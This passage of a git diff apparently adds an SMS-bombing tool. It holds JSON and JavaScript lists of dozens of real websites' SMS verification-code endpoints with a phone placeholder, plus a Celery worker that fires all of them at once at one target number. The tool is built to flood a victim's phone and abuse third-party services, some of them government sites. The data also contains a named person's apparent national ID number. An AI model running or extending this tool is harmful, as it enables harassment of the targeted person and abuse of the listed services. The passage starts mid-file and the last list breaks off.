"http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "云杏HIS系统(九明珠)", + "url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm", + "method": "POST", + "header": "", + "data": "{'lxdh': [phone]}" + }, + { + "desc": "秘塔写作", + "url": "https://xiezuocat.com/verify?type=signup", + "method": "POST", + "header": "", + "data": { + "phone": "86-[phone]" + } + }, + { + "desc": "CNMO 网站", + "url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]", + "method": "POST", + "header": "", + "data": "" + }, + { + "desc": "DR钻戒web", + "url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "有享云商web", + "url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "研才教育app", + "url": "https://mall.yancais.com/api/sms/send?phone=[phone]", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "成卓科技", + "url": "https://callphone.hnczkj.cn/app_api/json/sendSms", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "product": "biyingdianhua_ios", + "key": "mwoe093fwef" + } + }, + { + "desc": "加密电话", + "url": "https://m.4009991000.com/valNumQry.action", + "method": "POST", + "header": "", + "data": { + "appType": "1", + "app_id": "5555", + "mobileNo": "[phone]", + "sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5", + "src": "1", + "v": "4.9.2", + "validType": "3" + } + }, + { + "desc": "快应用美抽", + "url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]", + "method": "POST", + "header": "", + "data": "" + }, + { + "desc": "小叶子app", + "url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "牙e在线", + "url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02×tamp=[timestamp]", + "method": "POST", + "header": "", + "data": "mobile=[phone]&smsType=02×tamp=[timestamp]" + }, + { + "desc": "某数图表web(存疑)", + "url": "https://dycharts.com/vis/auth/send_signin_sms_code", + "method": "POST", + "header": "", + "data": { + "phoneNo": "13809213237" + } + }, + { + "desc": "17k小说网app", + "url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "汇看点快应用", + "url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG", + "method": "POST", + "header": "", + "data": "" + }, + { + "desc": "核桃编程app", + "url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "永城至敏", + "url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]", + "method": "GET", + "header": "", + "data": "" + }, + { + "desc": "金中网", + "url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3", + "method": "GET", + "header": "", + "data": "" + } +] \ No newline at end of file diff --git a/celery-client.py b/celery-client.py new file mode 100644 index 0000000..4890b6d --- /dev/null +++ b/celery-client.py @@ -0,0 +1,7 @@ +from celery_server.tasks import asyncRun + +# r = test.delay(1,2) +# r2 = test.delay(1,2) + +r = asyncRun.delay("13809213237") +print(r.get()) diff --git a/celery_server/README.MD b/celery_server/README.MD new file mode 100644 index 0000000..3ed2025 --- /dev/null +++ b/celery_server/README.MD @@ -0,0 +1,8 @@ +# Celery 异步服务器后端模块 + +## 部署 +```shell +pip install celery gevent -i https://pypi.doubanio.com/simple/ +celery -A celery_server worker -l info --pool=eventlet +``` +需要在 celery 5.0 中才能使用 async diff --git a/celery_server/__init__.py b/celery_server/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/celery_server/celery.py b/celery_server/celery.py new file mode 100644 index 0000000..9e02354 --- /dev/null +++ b/celery_server/celery.py @@ -0,0 +1,17 @@ +from celery import Celery +from celery.utils.log import get_task_logger + +app = Celery( + 'celery_server', + include=[ + 'celery_server.tasks' + ] +) +app.config_from_object( + 'celery_server.config', +) + +logger = get_task_logger(__name__) + +if __name__ == '__main__': + app.start() \ No newline at end of file diff --git a/celery_server/config.py b/celery_server/config.py new file mode 100644 index 0000000..286921c --- /dev/null +++ b/celery_server/config.py @@ -0,0 +1,11 @@ +#broker(消息中间件来接收和发送任务消息) +BROKER_URL = 'redis://localhost:6379/1' +#backend(存储worker执行的结果) +CELERY_RESULT_BACKEND = 'redis://localhost:6379/2' + +#设置时间参照,不设置默认使用的UTC时间 +CELERY_TIMEZONE = 'Asia/Shanghai' +#指定任务的序列化 +CELERY_TASK_SERIALIZER='json' +#指定执行结果的序列化 +CELERY_RESULT_SERIALIZER='json' \ No newline at end of file diff --git a/celery_server/utils.py b/celery_server/utils.py new file mode 100644 index 0000000..946f51c --- /dev/null +++ b/celery_server/utils.py @@ -0,0 +1,87 @@ +# encoding=utf8 +# 请求的方法 +from smsboom import load_getapi, load_json +from utils.log import logger +from utils.models import API +from utils import default_header +import httpx +from httpx import Limits +from typing import Union, List +import asyncio + +import sys +sys.path.append("E:\coding\SMSBoom") + + +def reqAPI(api: API, client: httpx.AsyncClient): + if isinstance(api.data, dict): + resp = client.request(method=api.method, json=api.data, + headers=api.header, url=api.url, timeout=10) + else: + resp = client.request(method=api.method, data=api.data, + headers=api.header, url=api.url, timeout=10) + return resp + + +async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore): + """异步请求方法 + :param: + :return: + """ + # 多手机号支持 + if isinstance(phone, tuple): + phone_lst = [_ for _ in phone] + else: + phone_lst = [phone] + async with semaphore: + async with httpx.AsyncClient( + limits=Limits(max_connections=1000, + max_keepalive_connections=2000), + headers=default_header, + verify=False, + timeout=99999 + ) as c: + + for ph in phone_lst: + try: + if isinstance(src, API): + src = src.handle_API(ph) + r = await reqAPI(src, c) + else: + # 利用元组传参安全因为元组不可修改 + s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace( + "&", "").replace('\n', '').replace('\r', ''),) + r = await c.get(*s) + return r + except httpx.HTTPError as why: + # logger.error(f"异步请求失败{type(why)}") + pass + except TypeError: + # logger.error("类型错误") + pass + except Exception as wy: + # logger.exception(f"异步失败{wy}") + pass + +def callback(result): + """异步回调函数""" + log = result.result() + if log is not None: + # logger.info(f"请求结果:{log.text[:30]}") + print(log.text[:30]) + pass + + +async def runAsync(apis: List[Union[API, str]], phone: Union[tuple, str]): + + tasks = [] + + for api in apis: + semaphore = asyncio.Semaphore(999999) + task = asyncio.create_task(asyncReqs(api, phone, semaphore)) + task.add_done_callback(callback) + tasks.append(task) + + await asyncio.gather( + *tasks + ) diff --git a/debug/__init__.py b/debug/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/debug/api.db b/debug/api.db new file mode 100755 index 0000000..8224323 Binary files /dev/null and b/debug/api.db differ diff --git a/debug/api.js b/debug/api.js new file mode 100755 index 0000000..0d38f6f --- /dev/null +++ b/debug/api.js @@ -0,0 +1,868 @@ +/** + * 第三方网站短信接口 + * 最后更新:2022-04-12 + * @type {*[]} + */ + var requestList = [ + { + name: '工图网', + fn: function (phone) { + $.ajax({ + url: "http://www.900ppt.com/api/login/getSmsCode", + data: { + phone: phone, + easy: 1 + }, + type: "GET", + dataType: "json", + }); + } + }, + { + name: '少儿编程', + fn: function (phone) { + $.ajax({ + url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode", + type: "POST", + data: {phone: phone,}, + dataType: "json", + }) + } + }, + { + name: '泰康在线', + fn: function (phone) { + function encrypt(data) { + var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF"); + var srcs = CryptoJS.enc.Utf8.parse(data); + var encrypted = CryptoJS.AES.encrypt(srcs, key, { + mode: CryptoJS.mode.ECB, + padding: CryptoJS.pad.Pkcs7 + }); + return encrypted + ""; + } + + phone = encodeURIComponent(encrypt(phone)) + $.ajax({ + 'url': 'http://ecs.tk.cn/eservice/member/login', + 'type': 'POST', + 'data': 'syn=Y&functioncode=getmark&mobile=' + phone, + 'dataType': 'json', + }); + } + }, + { + name: '千库编辑', + fn: function (phone) { + $.ajax({ + url: 'https://editor.588ku.com/site-api/send-tel-login-code', + type: 'GET', + data: { + num: phone, + }, + async: false + }); + } + }, + { + name: "编程猫", + fn: function (phone) { + $.ajax({ + url: 'https://open-service.codemao.cn/captcha/rule', + contentType: "application/json;charset=UTF-8", + type: 'POST', + data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}', + dataType: 'json', + success: function (data) { + $.ajax({ + url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new', + contentType: "application/json;charset=UTF-8", + type: 'POST', + data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}', + dataType: 'json', + }) + } + }) + } + }, + { + name: '迪卡侬', + fn: function (phone) { + $.ajax({ + url: "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + type: "POST", + data: {"countryCode": "CN", "mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '股海网', + fn: function (phone) { + $.ajax({ + url: "https://www.guhai.com.cn/front/member/sendSmsCode", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: 'LLL的个人blog', + fn: function (phone) { + $.ajax({ + url: "http://www.lll.plus/sendCode/", + type: "POST", + data: {"tel": phone, "forgetPwd": ""}, + dataType: "json", + }) + } + }, + { + name: '企米子', + fn: function (phone) { + $.ajax({ + url: "https://www.xcxui.com/index/register/getcode.html", + type: "POST", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '蒲公英', + fn: function (phone) { + $.ajax({ + url: "https://id.pgyer.com/user/getRegisterCode", + type: "POST", + data: {"tel": phone, "callingCode": "86", "mode": "tel"}, + dataType: "json", + }) + } + }, + { + name: '百卓优采', + fn: function (phone) { + $.ajax({ + url: "https://erp.abiz.com/mobilecode/sendMobileCode", + type: "POST", + data: {"mobile": phone, "captcha": ""}, + dataType: "json", + }) + } + }, + { + name: '云背篓', + fn: function (phone) { + $.ajax({ + url: "https://brand.yunbeilou.com/index.php/smssend", + type: "POST", + data: {"phone": phone, "v": "yes"}, + dataType: "json", + }) + } + }, + { + name: 'PHP中文网', + fn: function (phone) { + $.ajax({ + url: "https://m.php.cn/account/phone_code.html", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '12321', + fn: function (phone) { + $.ajax({ + url: "http://dhba.12321.cn/api/verifycode", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: 'Testin众测', + fn: function (phone) { + $.ajax({ + url: "https://www.ztestin.com/users/send/vercode", + type: "POST", + data: {"phone": phone, "type": "register", "voice": "0"}, + dataType: "json", + }) + } + }, + { + name: '海尔', + fn: function (phone) { + $.ajax({ + url: "http://maker.haier.net/client/user/sendregistervcode.html", + type: "POST", + data: {"account": phone}, + dataType: "json", + }) + } + }, + { + name: '飞猫云', + fn: function (phone) { + $.ajax({ + url: "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + type: "POST", + data: {"pcode": "+86", "phone": phone}, + dataType: "json", + }) + } + }, + { + name: '觉数字化平台', + fn: function (phone) { + $.ajax({ + url: "https://end.huajuetech.com/api/sendCode", + type: "POST", + data: {"mobile": phone, "email": "null", "verfy_method": "mobile"}, + dataType: "json", + }) + } + }, + { + name: '问政江西', + fn: function (phone) { + $.ajax({ + url: "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '河南智慧党建', + fn: function (phone) { + $.ajax({ + url: "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + type: "POST", + data: {"phone": phone, "verifytype": "1"}, + dataType: "json", + }) + } + }, + { + name: '陆陆陆云安全', + fn: function (phone) { + $.ajax({ + url: "https://cloud.666idc.com/index/login/sendsms.html", + type: "POST", + data: {"mobile": phone, "mobile_pre": "86"}, + dataType: "json", + }) + } + }, + { + name: '网易', + fn: function (phone) { + $.ajax({ + url: "https://dz.blizzard.cn/action/user/mobile/captcha", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '码云社', + fn: function (phone) { + $.ajax({ + url: "https://www.codeseeding.com/loginUser/toSend", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '人才山东', + fn: function (phone) { + $.ajax({ + url: "http://sso.rcsd.cn/regist/getVerifyCode", + type: "POST", + data: {"personcall": phone}, + dataType: "json", + }) + } + }, + { + name: '水利部', + fn: function (phone) { + $.ajax({ + url: "http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '七联大学', + fn: function (phone) { + $.ajax({ + url: "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + type: "POST", + data: {"phoneNumber": phone, "sendType": "0"} + }) + } + }, + { + name: '闪德资讯', + fn: function (phone) { + $.ajax({ + url: "https://www.0101ssd.com/user/sendmsg", + type: "POST", + data: {"mobile": phone, "event": "register"}, + dataType: "json", + }) + } + }, + { + name: '江苏省名师空中课堂', + fn: function (phone) { + $.ajax({ + url: "https://mskzkt.jse.edu.cn/baseApi/user/code/", + type: "POST", + data: {"mobile": phone, "type": "1",}, + dataType: "json", + }) + } + }, + { + name: 'CSFF短片', + fn: function (phone) { + $.ajax({ + url: "https://csff.cutv.com/wapi/users/sendregcode", + type: "POST", + data: {"telphone": phone}, + dataType: "json", + }) + } + }, + { + name: '广西人社厅', + fn: function (phone) { + $.ajax({ + url: "http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx", + type: "POST", + data: {"aae005": phone, "aac003": "刘萌萌", "aac002": "210212198506035924", "notkeyflag": "1"}, + dataType: "json", + }) + } + }, + { + name: '麦克赛尔数字映像', + fn: function (phone) { + $.ajax({ + url: "https://www.maxell-dm.cn/Code/CheckImage.aspx", + type: "POST", + data: {"action": "send", "txtMember_Name": phone}, + dataType: "json", + }) + } + }, + { + name: '宝提分', + fn: function (phone) { + $.ajax({ + url: "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '选型系统', + fn: function (phone) { + $.ajax({ + url: "http://www.cnppump.ltd/Service/UserHandler.ashx", + type: "GET", + data: {"cmd": "GetTelVerifyCode", "Tel": phone}, + dataType: "json", + }) + } + }, + { + name: '千里马网信科技', + fn: function (phone) { + $.ajax({ + url: "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + type: "POST", + data: {"tips": "1", "shouji": phone}, + dataType: "json", + }) + } + }, + { + name: '保定云', + fn: function (phone) { + $.ajax({ + url: "https://baodingyun.com.cn/register/send_registerSMS.html", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '欢动游戏', + fn: function (phone) { + $.ajax({ + url: "http://www.gm5.com/auth/registerSms.html", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '迈威', + fn: function (phone) { + $.ajax({ + url: "https://www.maiwe.com.cn/index/sendcode.html", + type: "GET", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '憨鼠社区', + fn: function (phone) { + $.ajax({ + url: "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone="+phone+"&areaCode=86", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '天鹅到家', + fn: function (phone) { + $.ajax({ + url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '诺达筑工', + fn: function (phone) { + $.ajax({ + url: "http://ks.ndzhugong.com/getVerificationCode?phone="+phone+"&password=&smscode=", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '栋才智慧', + fn: function (phone) { + $.ajax({ + url: "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone="+phone+"&smsMode=2", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '工伤预防网上培训平台', + fn: function (phone) { + $.ajax({ + url: "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '济宁专技', + fn: function (phone) { + $.ajax({ + url: "https://sdjn-web.yxlearning.com/sendPhoneCode.gson", + type: "POST", + data: {"phone": phone, "sendType": "4"}, + dataType: "json", + }) + } + }, + { + name: '宁夏伊地地质工程有限公司', + fn: function (phone) { + $.ajax({ + url: "http://www.yddzgc.com/bid-app/api/sys/code?phone="+phone+"&type=1", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '青春大学说', + fn: function (phone) { + $.ajax({ + url: "http://zycp.qcdxs.com:5001/sms/sendsms", + type: "POST", + data: {"phone_number": phone}, + dataType: "json", + }) + } + }, + { + name: '兴业利达电子招投标平台', + fn: function (phone) { + $.ajax({ + url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112", + type: "POST", + data: {"username": phone, "type": "regUser", "mobile": "PC"}, + dataType: "json", + }) + } + }, + { + name: '火象', + fn: function (phone) { + $.ajax({ + url: "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + type: "POST", + data: {"temp": "1", "phone": phone}, + dataType: "json", + }) + } + }, + { + name: '中科教育', + fn: function (phone) { + $.ajax({ + url: "https://www.vipexam.cn/user/identifyingCode.action", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '聚题库', + fn: function (phone) { + $.ajax({ + url: "https://uc.csdhe.com/v1/sms/send?mobile="+phone+"&apptype=examWeb", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '大广节', + fn: function (phone) { + $.ajax({ + url: "http://47.103.35.255:510/api/Account/SendRestigerSms", + type: "POST", + data: {tel: phone}, + dataType: "json", + }) + } + }, + { + name: '选择山东云平台', + fn: function (phone) { + $.ajax({ + url: "http://israel.selectshandong.com/user/verification_code/send.html", + type: "POST", + data: {mobile: phone}, + dataType: "json", + }) + } + }, + { + name: '苏州高新区教育局', + fn: function (phone) { + $.ajax({ + url: "https://jssnd.edu.cn/apiu/v1/register/auth", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '专业技术人员继续教育平台', + fn: function (phone) { + $.ajax({ + url: "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '泰安专技', + fn: function (phone) { + $.ajax({ + url: "https://sdta-web.yxlearning.com/sendPhoneCode.gson", + type: "POST", + data: {"phone": phone, "sendType": "4"}, + dataType: "json", + }) + } + }, + { + name: '志睿择', + fn: function (phone) { + $.ajax({ + url: "https://www.vipexam.cn/user/identifyingCode.action", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + }, + { + name: '漏洞银行', + fn: function (phone) { + $.ajax({ + url: "https://www.bugbank.cn/api/verifymobile", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '中国劳动保障新闻网', + fn: function (phone) { + $.ajax({ + url: "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '金万维', + fn: function (phone) { + $.ajax({ + url: "https://www.kuaijiexi.com/sendPhoneMessage", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '广西大数据发展局', + fn: function (phone) { + $.ajax({ + url: "http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode", + type: "POST", + data: {"method":"sendMobileCode","userMobile":phone,"random":"1.2851343744474852"}, + dataType: "json", + }) + } + }, + { + name: '凤凰金刚网', + fn: function (phone) { + $.ajax({ + url: "https://api.shweina.com/sms/getCode?type=1&mobile="+phone+"&sms_id=1&_=1649572691296", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: 'SDTF', + fn: function (phone) { + $.ajax({ + url: "http://www.satdatafresh.com/Register_send.php", + type: "POST", + data: {phone: phone}, + dataType: "json", + }) + } + }, + { + name: 'UCG', + fn: function (phone) { + $.ajax({ + url: "http://api.ucg.cn/api/account/get_code", + type: "POST", + data: {phone: phone,type:1}, + dataType: "json", + }) + } + }, + { + name: '爱社区', + fn: function (phone) { + $.ajax({ + url: "http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel="+phone+"&_=1649576168585", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '费耘网', + fn: function (phone) { + $.ajax({ + url: "https://www.feeclouds.com/homepage/register/send", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: 'TCTY评测委员会', + fn: function (phone) { + $.ajax({ + url: "https://bth.educg.net/new_registration.do", + type: "POST", + data: {"op": "getvfycode",phone: phone}, + dataType: "json", + }) + } + }, + { + name: '中电仪器', + fn: function (phone) { + $.ajax({ + url: "https://ceyear.com/Cn/Member/get_code", + type: "POST", + data: {phone: phone}, + dataType: "json", + }) + } + }, + { + name: '航运e家', + fn: function (phone) { + $.ajax({ + url: "http://co.hangyunejia.com/v1/account/sendregphonecode", + type: "POST", + data: {phone: phone}, + dataType: "json", + }) + } + }, + { + name: '赛客呼吸', + fn: function (phone) { + $.ajax({ + url: "https://m.xeek.cn/api/common/CheckCode/index.html", + type: "POST", + data: {"action":"register","account":phone,"accountType":"3"}, + dataType: "json", + }) + } + }, + { + name: '佛山政务短信平台', + fn: function (phone) { + $.ajax({ + url: "https://fsjf.fslgb.gov.cn/servlet/user", + type: "POST", + data: {"type":"getCode","certificate":"","phone":phone,"opr":"注册"}, + dataType: "json", + }) + } + }, + { + name: '南京筑能网络科技有限公司', + fn: function (phone) { + $.ajax({ + url: "http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php", + type: "POST", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '四川宝石花', + fn: function (phone) { + $.ajax({ + url: "http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile="+phone+"&_=1649516272801", + type: "GET", + data: {}, + dataType: "json", + }) + } + }, + { + name: '赛日速配', + fn: function (phone) { + $.ajax({ + url: "https://sporax.com.cn/Login/sms", + type: "POST", + data: {"Mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '乐思无限', + fn: function (phone) { + $.ajax({ + url: "http://sid.mk315.cn/index/register/getcode.html", + type: "POST", + data: {"tel": phone}, + dataType: "json", + }) + } + }, + { + name: '宁波材料所', + fn: function (phone) { + $.ajax({ + url: "https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile="+phone+"&verifycode=[object%20HTMLInputElement]", + type: "POST", + data: {}, + dataType: "json", + }) + } + }, + { + name: '佬司机大宗商品交易', + fn: function (phone) { + $.ajax({ + url: "http://www.laosjgyl.com/register/sendCaptcha", + type: "POST", + data: {"mobile": phone}, + dataType: "json", + }) + } + }, + { + name: '广东省心理学会', + fn: function (phone) { + $.ajax({ + url: "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + type: "POST", + data: {"phone": phone}, + dataType: "json", + }) + } + } +] \ No newline at end of file diff --git a/debug/api_tou.json b/debug/api_tou.json new file mode 100755 index 0000000..b605e7d --- /dev/null +++ b/debug/api_tou.json @@ -0,0 +1,481 @@ +[ + { + "desc": "迪卡侬", + "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + "method": "POST", + "header": "", + "data": { + "countryCode": "CN", + "mobile": "[phone]" + } + }, + { + "desc": "股海网", + "url": "https://www.guhai.com.cn/front/member/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "LLL的个人blog", + "url": "http://www.lll.plus/sendCode/", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "forgetPwd": "" + } + }, + { + "desc": "企米子", + "url": "https://www.xcxui.com/index/register/getcode.html", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "蒲公英", + "url": "https://id.pgyer.com/user/getRegisterCode", + "method": "POST", + "header": "", + "data": { + "tel": "[phone]", + "callingCode": "86", + "mode": "tel" + } + }, + { + "desc": "百卓优采", + "url": "https://erp.abiz.com/mobilecode/sendMobileCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "captcha": "" + } + }, + { + "desc": "云背篓", + "url": "https://brand.yunbeilou.com/index.php/smssend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "v": "yes" + } + }, + { + "desc": "PHP中文网", + "url": "https://m.php.cn/account/phone_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "12321", + "url": "http://dhba.12321.cn/api/verifycode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "Testin众测", + "url": "https://www.ztestin.com/users/send/vercode", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "type": "register", + "voice": "0" + } + }, + { + "desc": "海尔", + "url": "http://maker.haier.net/client/user/sendregistervcode.html", + "method": "POST", + "header": "", + "data": { + "account": "[phone]" + } + }, + { + "desc": "飞猫云", + "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + "method": "POST", + "header": "", + "data": { + "pcode": "+86", + "phone": "[phone]" + } + }, + { + "desc": "华觉数字化平台", + "url": "https://end.huajuetech.com/api/sendCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "email": "null", + "verfy_method": "mobile" + } + }, + { + "desc": "问政江西", + "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "河南智慧党建", + "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "verifytype": "1" + } + }, + { + "desc": "陆陆陆云安全", + "url": "https://cloud.666idc.com/index/login/sendsms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "mobile_pre": "86" + } + }, + { + "desc": "网易", + "url": "https://dz.blizzard.cn/action/user/mobile/captcha", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "码云社", + "url": "https://www.codeseeding.com/loginUser/toSend", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "人才山东", + "url": "http://sso.rcsd.cn/regist/getVerifyCode", + "method": "POST", + "header": "", + "data": { + "personcall": "[phone]" + } + }, + { + "desc": "水利部", + "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "七联大学", + "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + "method": "POST", + "header": "", + "data": { + "phoneNumber": "[phone]", + "sendType": "0" + } + }, + { + "desc": "闪德资讯", + "url": "https://www.0101ssd.com/user/sendmsg", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "event": "register" + } + }, + { + "desc": "江苏省名师空中课堂", + "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]", + "type": "1" + } + }, + { + "desc": "CSFF短片", + "url": "https://csff.cutv.com/wapi/users/sendregcode", + "method": "POST", + "header": "", + "data": { + "telphone": "[phone]" + } + }, + { + "desc": "广西人社厅", + "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", + "method": "POST", + "header": "", + "data": { + "aae005": "[phone]", + "aac003": "刘萌萌", + "aac002": "210212198506035924", + "notkeyflag": "1" + } + }, + { + "desc": "麦克赛尔数字映像", + "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", + "method": "POST", + "header": "", + "data": { + "action": "send", + "txtMember_Name": "[phone]" + } + }, + { + "desc": "宝提分", + "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "选型系统", + "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", + "method": "GET", + "header": "", + "data": { + "cmd": "GetTelVerifyCode", + "Tel": "[phone]" + } + }, + { + "desc": "千里马网信科技", + "url": 